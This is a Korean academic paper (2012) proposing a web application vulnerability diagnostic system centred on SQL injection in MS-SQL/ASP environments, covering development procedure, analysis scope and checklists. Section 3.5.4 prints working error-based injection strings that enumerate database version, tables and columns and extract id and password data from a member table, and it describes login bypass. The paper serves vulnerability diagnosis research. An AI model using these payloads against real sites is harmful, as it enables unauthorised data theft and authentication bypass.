Injection Flaws를 중심으로 한 웹 애플리케이션 취약점 진단시스템 개발★

김점구* · 노시춘** · 이도현***

요 약

오늘날 대표적 웹 해킹 공격기법은 크로스사이트스크립팅(XSS)과 인젝션 취약점 공격, 악성 파일 실행, 불안전한 직접 객체 참조 등 이다. 웹해킹 보안시스템인 접근통제 솔루션은 웹 서비스로 접근하는 패킷을 통제하지 않고 내부로 유입시킨다. 때문에 만약 통과하는 패킷이 악의적으로 조작 되었을 경우에도 이 패킷이 정상 패킷으로 간주된다. 이때 방어시스템은 적절한 통제를 하지 못하게 된다. 따라서 성공적인 웹 서비스를 보증하기 위하여 웹 애플리케이션 취약점 진단시스템 개발이 실질적이며 절실히 요구되는 대안이다. 웹 애플리케이션 취약점 진단시스템 개발은 개발절차 정립, 웹 시스템 취약점 진단범위 설정, 웹 어플리케이션 분석, 보안 취약점 점검항목 선정의 단계가 진행 되어야 한다. 그리고 진단시스템에서 필요한 환경으로서 웹 시스템 사용도구, 프로그램언어, 인터페이스, 변수가 설정되어야 한다.

A Study of Development of Diagnostic System for Web Application Vulnerabilities focused on Injection Flaws

Jeom Goo Kim* · Si Choon Noh** · Do Hyeon Lee***

ABSTRACT

Today, the typical web hacking attacks are cross-site scripting(XSS) attacks, injection vulnerabilities, malicious file execution and insecure direct object reference included. Web hacking security systems, access control solutions, access only to the web service and flow inside but do not control the packet. So you have been illegally modified to pass the packet even if the packet is considered as a unnormal packet. The defense system is to fail to appropriate controls. Therefore, in order to ensure a successful web services diagnostic system development is necessary. Web application diagnostic system is real and urgent need and alternative. The diagnostic system development process must be carried out step of established diagnostic systems, diagnostic scoping web system vulnerabilities, web application, analysis, security vulnerability assessment and selecting items. And diagnostic system as required by the web system environment using tools, programming languages, interfaces, parameters must be set.

keywords : Injection Flaws, Vulnerability, Diagnostics, Methodology

접수일(2012년 5월 28일), 수정일(1차: 2012년 6월 13일), 게재확정일(2012년 6월 15일)

★ 본 연구는 2012년도 지식경제부 지역혁신센터사업인 산업기술보호특화센터 지원으로 수행되었음

* 남서울대학교 컴퓨터학과

** 남서울대학교 컴퓨터학과 (교신저자)

*** 남서울대학교 IT융합기술사업단

1. 서 론

웹 애플리케이션 취약점 진단은 웹 애플리케이션 공격대처 방법으로 우선적으로 강구해야 할 과정이다. 웹 애플리케이션 취약점 진단시스템 개발은 실질적이며 절실히 요구되는 대안이다. 웹 해킹 공격 메커니즘의 이해를 기반으로 웹 어플리케이션 아키텍쳐를 파악하고 웹 해킹 주요 공격 대상, 웹 해킹의 공격 범위를 진단해야 한다. 보안대책으로서 접근통제 솔루션은 갖추고 있더라도 접근통제 솔루션은 웹 서비스로 접근하는 패킷을 통제하지 않고 유입시키기 때문에 통과되는 패킷에 악의적으로 패킷을 조작한다면 정상 패킷으로 간주되어 적절한 통제를 하지 못하게 된다. 본 연구는 웹해킹의 최대 현안인 웹 어플리케이션 보안 취약성 요인에 대처하기 위해 Injection Flaws를 중심으로 웹 취약점 진단시스템 개발방안을 제안한다. 순서는 서론, 웹 해킹 공격 메커니즘 진단, 웹 취약점 진단시스템 개발, 결론의 순서이다.

2. 웹 해킹 공격 메커니즘

2.1 웹 어플리케이션 아키텍쳐

웹 어플리케이션 취약점 진단은 웹 어플리케이션의 구조에 대한 정확한 이해 및 서비스 및 데이터 흐름의 정확한 이해를 바탕으로 체계화된 다. 웹어플리케이션은 사용자의 편리성을 위하여 클라이언트에서는 대부분 브라우저를 사용하거나 자동화된 브라우저로 동작하는 HTTP 에이전트를 사용한다. 웹 어플리케이션을 위한 많은 제품들이 수시로 개발되는 실정으로 웹 어플리케이션 구성을 위한 전체 구조 유형이 많지만 일반적으로 3단계의 논리적인 구조이다[7].

- 표현 계층(presentation tier): 사용자나 시스템에 데이터를 표현하는 계층
- 어플리케이션 계층(application tier): 비즈니스 로직, 사용자 입력 처리, 결정 등을 위한 웹 어플리케이션의 엔진 해당 부분
- 데이터 계층(data tier): 어플리케이션에서 사용하는 임시 및 영구 저장소 역할 계층

2.2 웹 해킹 메커니즘

o 웹 해킹 주요 공격 대상

초기에는 시스템 해킹 영역에서 각 벤더의 서버를 공격하는 유형이 다수였지만 현재 네트워크를 통로로 웹 어플리케이션에 대한 특화된 공격이 주를 이룬다. 각 벤더의 기본적 보안기능 제공으로 해커들은 어플리케이션 분석능력이 향상되면서 어플리케이션 자체에 대한 공격에 집중하기 때문이다.

o 웹 해킹의 공격 범위

웹 해킹으로 침해당할 수 있는 범위는 1차적으로 해당 웹 서버와 웹 어플리케이션 서버, 데이터베이스 서버 등이며, 2차적으로 이들과 신뢰성 관계를 맺는 서버 등이다. 사회공학적 공격 또는 기술을 통해 해당 어플리케이션을 이용하고 있는 사용자도 공격 대상에 포함된다. 공격자가 어떤 목적을 가지느냐에 따라 공격 범위가 달라진다.

o 대표적인 웹 해킹 공격 기법

최근의 대표적 웹 해킹 공격기법은 크로스사이트스크립팅(XSS)과 인젝션 취약점 공격, 악성 파일 실행 등이 있다. 다음 표는 OWASP 발표 10대 웹 어플리케이션 보안취약점 사례이다[1][2].

<표1> OWASP 발표 Top Ten Overview

2010	2007
A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5:Cross-Site Request Forgery (CSRF) A6:Security Misconfiguration A7:Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards	A1: Cross Site Scripting (XSS) A2: Injection Flaws A3:MaliciousFile Execution A4:Insecure Direct Object Reference A5: Cross Site Request Forgery (CSRF) A6: Information Leakage and Improper Error Handling A7:Broken Authentication and Session Management A8:InsecureCryptographic Storage A9:Insecure Communications A10: Failure to Restrict URL Access

3. 웹 취약점 진단시스템 개발절차

3.1 개발 프러시듀어(procedure)

취약점 진단시스템의 개발은 계획, 분석, 설계, 개발, 테스트, 유지보수 순서로 진행한다. 웹 시스템 분석을 통한 공격기법을 진단하고 데이터 형에 따른 패턴을 조사한다. 분석이후 설계단계에서는 변수명세, 인터페이스를 설계하여 검색엔진을 개발한다. 조사분석 결과를 토대로 진단 엔진을 설계하며 변수명세, 인터페이스를 설계한다. 공격진단 엔진에 사용될 명세를 기반으로 함수를 작성한다. 공격진단 엔진을 완성하여 함수에 개발된 엔진을 적용한다. 프로그램 동작 테스트를 수행하고 버그를 체크하며 발견된 문제점을 보수한다[4][6].다음 표는 개발 프러시듀어를 정리한 것이다.

<표2> 웹 시스템 진단 시스템 개발절차

개발절차	세부 개발사항
개발 계획	- 프로젝트 일정 수립 - 프로젝트 일정 검토
요구 분석	- SQL injector 분석을 통한 공격기법 분석 - 데이터형별 injection패턴조사
시스템 설계	- 변수명세, 인터페이스 설계 - 로직 설계
엔진 개발	- SQL 엔진 개발 - 조사결과 토대로 엔진에 반영
프로그래밍	- 명세를 기반으로 함수작성 - 함수에 개발된 엔진 적용 - If문 구현 - SQL 엔진 완성
단위 테스트	- 단위 프로그램 동작 테스트 - 버그체크
수정 작업	- 단위 프로그램 문제점 수정작업
통합 테스트	- 통합테스트 - 발견된 문제점 재점검
유지 보수	-재점검시 발견된 문제점 수정작업 보수

3.2 대상 시스템 분석

설정된 개발 프러시듀어를 기반으로 실제적 보안 검증작업이 이루어 지며 첫번째 단계로 대상 시스템에 대한 분석을 시행해야 한다. 분석은 보안 취약성 검증을 위한 가장 중요한 단계로 서비스 흐름에 대한 이해, 웹 페이지에 구성되어 있는 컨텐츠의 상세내역 및 상호 연결관계, 사용자 기준에 대한 요건 등의 내용을 파악해야 한다. 1차적으로 컨설턴트는 해당 시스템 요건서, 아키텍처, 설계 관련 자료를 전달 받아 시스템 전반에 대한 업무 흐름 및 데이터 흐름에 대한 이해를 충분히 한 후, 시스템 상세 내용 정의를 위해 개발자 및 운영자와의 인터뷰, 웹 페이지의 상세 기능 분석을 통한 상세 서비스 흐름 파악을 수행한다[6][7]. 다음 표는 웹 시스템 취약점 진단범위 이다.

<표3> 웹 시스템 취약점 진단 범위

항목	어플리케이션 기능
시스템기능	대표적시스템, 서브시스템 기능
컨퍼넌트(component)의 종류	시스템이 배포된 후 어떤 프로세스 혹은 쓰레드가 생성될 것이고 이들이 어떻게 커뮤니케이션하고, 자원을 공유하게 되는가
프로세스관계도(relationship)	Data flow, Event, 공유자원에 대한 동기화(synchronization on shared resources)
코드관계도(relationship)	class, object, procedure, function, 혹은 이것들의 추상적인 집합체(subsystem, layer, module)
프로세스관계도(relationship)	call, method invocation, 논리적인 컨테인먼트 관계(is-a-sub-module-of)
매핑관계도	시스템의 기능이 어떻게 코드로 매핑되는지 파악
사용자계층	보안취약점을 유발 시키는 사용자계층

3.3 웹 어플리케이션 분석

웹 시스템 취약점 진단 이후 웹 애플리케이션 분석 대상은 시스템 개요, 서비스 메뉴 구조도, 각 항목별 기능 설명, 업무 흐름도,데이터 흐름도, 서비스 내부 구성도, 주요 정보에 대한 정의이며 이들의 산출물을 기준으로 진단된다. 웹 애플리케이션의 구조분석을

위해 아래 표와 같은 컨퍼넌트의 종류, 관계도,시스템 사용자 진단은 통제 및 검증 항목 선정에 활용되는 중요한 자료이다[9]. 다음 표는 어플리케이션 분석 항목을 정리한 내용 이다.

<표4> 어플리케이션 분석 항목

검증 항목	세부항목
시스템의 개요	시스템의 기능, 대표적 시스템, 서브시스템
서비스 메뉴 구조	메인메뉴, 서브메뉴
각 항목별 기능 설명	Component, Process, Thread
업무 흐름도	업무의 기능적 흐름
데이터 흐름도	Data flow, Event, 공유자원에 대한 동기화
서비스 구성도	서비스 내부 구성도
주요정보 정의	주요 정보에 대한 정의

3.4 보안 취약점 점검 항목 선정

이상과 같은 시스템에 대한 분석, 웹 애플리케이션 분석 결과를 기반으로 보안 취약점 점검 항목을 선정하는 단계를 진행한다. 이 과정은 기 준비된 제공 체크리스트 내용과 분석 결과를 종합하여 진행된다. 웹 어플리케이션 보안성 검증을 위한 체크리스트는 대항목과 통제사항으로 구성되어 있으며, 9개의 대항목은 다음과 같다.

<표5> 보안 취약점 점검 항목

진단항목	중점점검사항
어플리케이션구조	어플리케이션 보안구조여부
인증기능	사용자 인증기능의 적정성
사용자 세션관리	전송과정의 세션 상태
접근권한 및인가	사용자 정보접근 수준
이벤트 로그	이벤트발생시의 로그기능
데이터타당성	데이터의 보안안전성 수칙
웹 공통 문제	웹시스템 구조 안전성
개인정보보호	개인정보의 노출 가능성
암호화 기능	정보 암호화구간과암호수준

3.5. 진단용 시스템 개발

3.5.1 개발 소프트웨어 환경 구성

DBMS에 값을 입력 또는 삭제하려면 ASP, PHP, JSP 같은 웹 프로그램을 사용해야 한다. 전체적인 시스템 구성환경은 윈도우 운영체제와 IIS 서버 프로그램, ASP 스크립트언어, MS-SQL로 구성된다. 개발기능은 MS-SQL 기반에서 SQL Injection 진단기능을 설계하므로서 쿼리를 테스트하는 용도로 사용한다. 자료의 효율적 저장 및 검색을 위해 PHP, JSP, ASP등 스크립트 언어와 DBMS를 연동한다. 엔진개발은 SQL injection 진단에 사용될 쿼리를 개발하고 이를 바탕으로 SQL injection에 대처하며 GUI 인터페이스를 구현한다[9][10]. 웹 애플리케이션 프레임워크를 정리하면 다음 표와 같다.

<표6> 웹 애플리케이션 프레임워크

기능	소프트웨어	연동아키텍처
운영체제	윈도우운영체제	WinSock
애플리케이션	C, C++, Java	스크립트 언어
Script Code	PHP, JSP, ASP	MS-SQL
DB핸들링	MS-SQL	RDBMS
클래스 라이브러리	MFC	라이브러리
웹서버	IIS,Apache	애플리케이션

3.5.2 사용도구 및 언어 결정

o MS-SQL(Structured Query Language)

SQL은 표준 데이터베이스 질의언어 이다. 개방 형 소스의 관계형 데이터베이스 관리시스템(RDBMS)으로 내장된 데이터복제(Replication) 기능과 강력한 관리 Tool 및 개방형 시스템 아키텍처이다. 이 아키텍처는 조직의 규모에 맞춰 가장 경제적 정보솔루션을 구축할 수 있고 최상의 플랫폼을 제공한다. 윈도우 운영체제와 IIS 서버 프로그램, ASP 스크립트언어로의 구성은 상호 연동이 잘되면서도 다른 시스템에 비해 비교적 사용이 쉽고 간편하여 쇼핑몰 등 일반적인 웹 개발에 널리 이용되고 있다.

o MFC(Microsoft Foundation Class)

MFC는 C++ 프로그래머들을 위한 클래스 라이브러리이다. 윈도 응용프로그램을 만드는데 있어서 필요한 모든 기능을 처리하는 광범위한 클래스 집합을 제공한다. MFC는 응용프로그램을 작성할때 자주 사용되는 API를 700여개 이상의 클래스로 제공하고 있다. 윈도우즈 응용 프로그램을 개발할 경우 API를 통한 프로그램 작성보다 많은 이점이 있기 때문에 본 프로젝트에서는 MFC를 이용하여 SQL Injection 자동화 진단 프로그램 인터페이스를 작성한다.

o WinSock(Windows Socket)

WinSock은 윈도우에서 TCP/IP를 지원하기 위한 Windows Socket Application Programming Interface (WinSock API)이다. WINSOCK은 원래 TCP/IP는 BSD UNIX (Berkeley Software Distribution of UNIX) 를기반으로 개발되었는데 이것을 PC, 즉 윈도우에 적용해놓은 것이다. MFC 클래스를 통해 제공되는 CSocket Library는 Winsock api에 비해 속도가 느리고 무겁게 동작하기 때문에 WinSock을 사용하여 엔진을 제작한다.

o Script Code

Script Code는 로그인시 아이디와 비밀번호를 검사하여 사용자를 식별한다. 웹환경의 ASP, PHP, JSP 코드상에서 아이디 와 비밀번호 입력시 스크립트 코드에 아이디와 비밀번호가 입력된다. ASP코드 경우는 사용자가 입력한 아이디를 strUser_id 변수에 저장하고 사용자가 입력한 비밀번호를 strPassword 변수에 넣는다.

SELECT 문에서는 사용자의 아이디와 비밀번호 입력에 대한 결과를 Query 변수에 저장한다.

GetQueryResult 함수를 이용해 Query 변수에 들어있는 SQL문을 실행하고 그 결과를 strAuthCheck 변수에 넣는다. 쿼리결과가 존재하지 않으면 결과값은 NULL이 되어 boolAuthenticated는 '거짓'이 되고 실행결과 값이 있으면 '참'이 되어 로그인 인증을 받는다.

o IIS (Internet Information Server)

윈도우 NT용 인터넷 서버군 이다. 여기에는 Web, HTTP, FTP, Gopher 등이 포함된다. IIS에 웹 사이트나 검색엔진을 만들고 관리하며, 데이터베이스를 이용한 웹기반의 응용프로그램 작성을 지원하는 일련의 프로그램들을 포함된다. 웹 개발시 웹서버에 ASP 기술을 연동하며 이는 액티브엑스 컨트롤을 내장하고 있는 응용프로그램들이 웹페이지 내에 포함될 수 있다. 마이크로소프트의 ISAPI 인터페이스를 사용함으로써 서로 다른 사용자들을 위해 요구를 여과하여, 올바른 웹페이지를 받아볼 수 있도록 프로그램을 만들 수 있다.

3.5.3 인터페이스 및 변수 설정

<표7> 변수 및 함수 설정

변수/함수	유형	설명
URL	변수	취약점 진단을 요하는 URL을 입력받는 에디트 컨트롤
OnStartUp()	함수	URL에 입력된 변수를 이용하여 프로그램에서 사용할 소켓을 초기화 하고 공격에 사용되는 정보(변수형, DB정보 등)를 가져오는 함수
DB_NAME	변수	Database의 이름이 저장되는 변수
User_Name	변수	Database의 사용자 이름이 저장되는 변수
DB_INFO	변수	DB의 버전, 운영체제의 버전 등이 저장되는 변수
Ctrlist_Table	변수	Database에 존재하는 Table의 리스트가 저장되는 변수
Ctrllist_Field	변수	특정 Table에 존재하는 필드의 리스트가 저장되는 변수
Ctrllist_Data	변수	특정 테이블에 저장되어 있는 실제 데이터가 저장되는 변수

Edit Control, Database의 이름이 저장되는 URL에 입력된 변수를 이용하여 프로그램에서 사용할 소켓을 초기화 하고 공격진단에 사용되는 정보(변수형, DB정보 등)를 가져오는 함수가 필요하다. 변수는 Database의 사용자 이름이 저장되는 변수, Database의 사용자 이름이 저장되는 변수, DB의 버전, 운영체제의 버전 등이 저장되는 변수, Database에 존재하는 Table의 리스트가 저장되는 변수, 특정 Table에 존재하는 필

드의 리스트가 저장되는 변수, 특정 테이블에 저장되어 있는 실제 데이터가 저장되는 변수가 필요하다.

3.5.4 진단 기능 개발

o Database 기초정보 사용기능

MS-SQL은 데이터 구조를 저장하는 System Catalog를 기본적으로 만들며 이곳에 데이터베이스의 모든 정보가 저장된다. 이 System Catalog는 테이블 형태로 제공되며 모든 MS-SQL 서버에 동일하게 존재하기 때문에 이 테이블의 정보를 이용하여 SQL Injection시 이 테이블 저장 정보를 파악하여 데이터베이스의 구조를 파악할 수 있다.

- sysobjects
  이 테이블은 name 이라는 필드에 database에 존재하는 모든 테이블의 이름을 저장하고 있으며 xtype이라는 필드에 U라는 값을 가진 필드가 사용자가 생성한 테이블이다.
- syscolumns
  이 테이블은 name 이라는 필드에 database에 존재하는 모든 컬럼의 정보를 저장하고 있으며 id 필드를 sysobjects 테이블과 조인하면 특정 테이블에 존재하는 필드이름을 획득할 수 있다.
- sysxlogins
  이 테이블은 시스템에 로그인 가능한 사용자의 정보를 저장하며 id 및 패스워드 필드를 통해 사용자 이름과 패스워드를 획득할 수 있다.
- @@version
  @@version은 버전정보를 저장하고 있는 변수값으로, Windows의 버전과 MSSQL의 상세한 버전을 저장하고 있다.
- db_name()
  db_name() 함수는 현재 접속중인 db의 이름을 출력하는 함수이다.
- user
  user 함수는 현재 DB를 사용하고 있는 계정의 이름을 출력하는 함수이다.

o SQL Injection 기능

‘ or 1=() -- 을 입력한 후 괄호안에 데이터베이스에 요청하고 싶은 쿼리를 입력한다.

```
‘ or 1=(요청쿼리) --
```

http://diagnostics.com/a.asp?idx=1 이라는 가상의 개발용 페이지를 가정할 때 Database의 이름을 요청하는 예제는 다음과 같다.

```
‘ or 1=(select db_name()) --
```

이상과 같은 방법은 SQL Query중 하위 쿼리를 통한 SQL Injection 이라 표현한다.

o Database 정보 수집 기능

- 데이터베이스 버전 확인

```
‘ or 1=(select @@version) --
```

- 데이터베이스 이름 확인

```
‘ or 1=(select db_name()) --
```

- 데이터베이스 유저 확인

```
‘ or 1=(select user()) --
```

- 테이블 명 확인

```
‘ or 1=(select top 1 name from sysobjects) --
```

- 컬럼 명 확인

```
‘ or 1=(select top 1 name from syscolumns) --
```

o 스크립트코드 상에서의 쿼리 기능

소프트웨어 아키텍쳐 측면에서 DBMS와의 연동을 위해서 주로 PHP, JSP, ASP 등 웹 어플리케이션 스크립트 언어를 사용한다. 웹 어플리케이션은 만약 클라이언트에서 잘못된 입력 값이 있더라도 이를 검증하지 못하므로 비정상적인 SQL 쿼리가 발생할 수 있다. ASP 코드는 웹 어플리케이션 스크립트중의 하나로 웹 개발에 사용되는 프로그램이며 MS계열의 텍스

트기반 스크립트 동적페이지 기법 언어이다. 웹상에서 아이디와 비밀번호를 입력하려면 ASP코드를 사용하여 FORM문을 통하여 (아이디, 암호)를 입력한다. 이 같은 쿼리문이 만들어지면서 조건문(Where문)이 만족되고, strAuthCheck 값도 '참'이기 때문에 공격자는 사용자 인증에 성공하게 된다. 이 메커니즘을 이용하여 간단하게 로그인 창의 로그인을 우회하게 된다 위에 설명된 내용을 토대로 실제 프로그램에 적용된 쿼리를 정리하면 아래와 같다[6][7].

- 테이블 정보 가져오기

```
' or 1=(select top 1 name from (select top 1 name from sysobjects  where xtype='U' order by name desc)T order by name)--
```

- 필드 정보 가져오기

```
' or 1=(select top 1 name from (select top 1 name from sysobjects A, syscolumns B where A.id=B.id and A.name='테이블명' order by B.name desc)T order by name)--
```

- 테이블에서 데이터 가져오기

```
' or 1=(select top 1 id+password+name from (select top 1 id,passowrd,name from member order by name desc)T order by name)--
```

5. 결 론

웹 어플리케이션 활용시 보안을 고려하지 않은 시스템 개발, 개발 요건에 대한 실증적인 검증 과 같은 매우 중요한 내용을 검증하지 않고 웹 서버를 운영하는 경우가 대부분이다. 또한 방화벽과 IDS 만 운영하면서 문제점이 전부 해결된다고 생각하는 보안 담당자가 매우 많다. 웹 어플리케이션 구현상의 오류는 해커들로 하여금 정상적인 서비스를 위해 방화벽에서 열어둔 80 포트를 이용하여 고객의 중요한 정보를 빼낼 수 있음을 잊지 말아야 한다. 따라서, 성공적인 인터넷 서비스를 위해서 웹 애플리케이션 취약점 진단 시스템 개발은 실질적이며 절실히 요구되는 대안이다.

참고문헌

[1] OWASP, http://www.owasp.org
[2] http://www.owasp.org/index.php/ Cross-Site _Request_Forgery
[3] http://www.owasp.org/index.php/CSRF_Guard OWASP,CSRFGuard,
[4] David Gourley and Brian Totty, "HTTP: The Definitive Guide", O'Reilly Media, 2002.
[5] http://www.phpschool.com/ PHP School
[6] http://www.krcert.or.kr/index.jsp
[7] 김점구,노시춘, Injection Flaws를 중심으로 한 웹 애플리케이션 취약점 진단시스템 개발 모델,2012.3
[8] 진영승, "인터넷에서의 해킹기법과 보안방법에 관한 조사 분석", 연세대 관리과학대학원 석사논문,2010
[9] 이미정,노시춘,SQ LInjection취약점 진단 프로그램, 2005.6
[10] 윤준, "최신 웹 해킹기법에 대한 분석과 대응방법", 한국정보보호진흥원 기반보호기획팀.2010

[저 자 소 개]

김 점 구 (Jeom Goo Kim)

1990년 2월 광운대학교
전자계산학과 이학사
1997년 8월 광운대학교
전자계산학과 석사
2000년 8월 한남대학교
컴퓨터공학 박사
1999년 3월~현재 남서울대학교
컴퓨터학과 교수
IT융합연구소장

email : jgoo@nsu.ac.kr

노 시 춘 (Si Choon Noh)

1987년 2월 고려대학교
경영정보학 석사
2005년 2월 경기대학교
정보보호기술 박사
2002년 11월 KT 시스템보안부장
2004년 12월 KT 충청전산국장
2005년3월 ~ 현재 남서울대학교
컴퓨터학과 교수
IT융합연구소연구위원

email : nsc321@nsu.ac.kr

이 도 현 (Do Hyeon Lee)

2001년 2월 한양대학교
전자전기공학부 공학사
2003년 8월 한양대학교
전자통신전파공학과
공학석사
2011년 2월 한양대학교
전자컴퓨터통신공학과
공학박사
2011년4월 ~ 현재 남서울대학교
IT융합기술사업단
연구교수

email : itt@nsu.ac.kr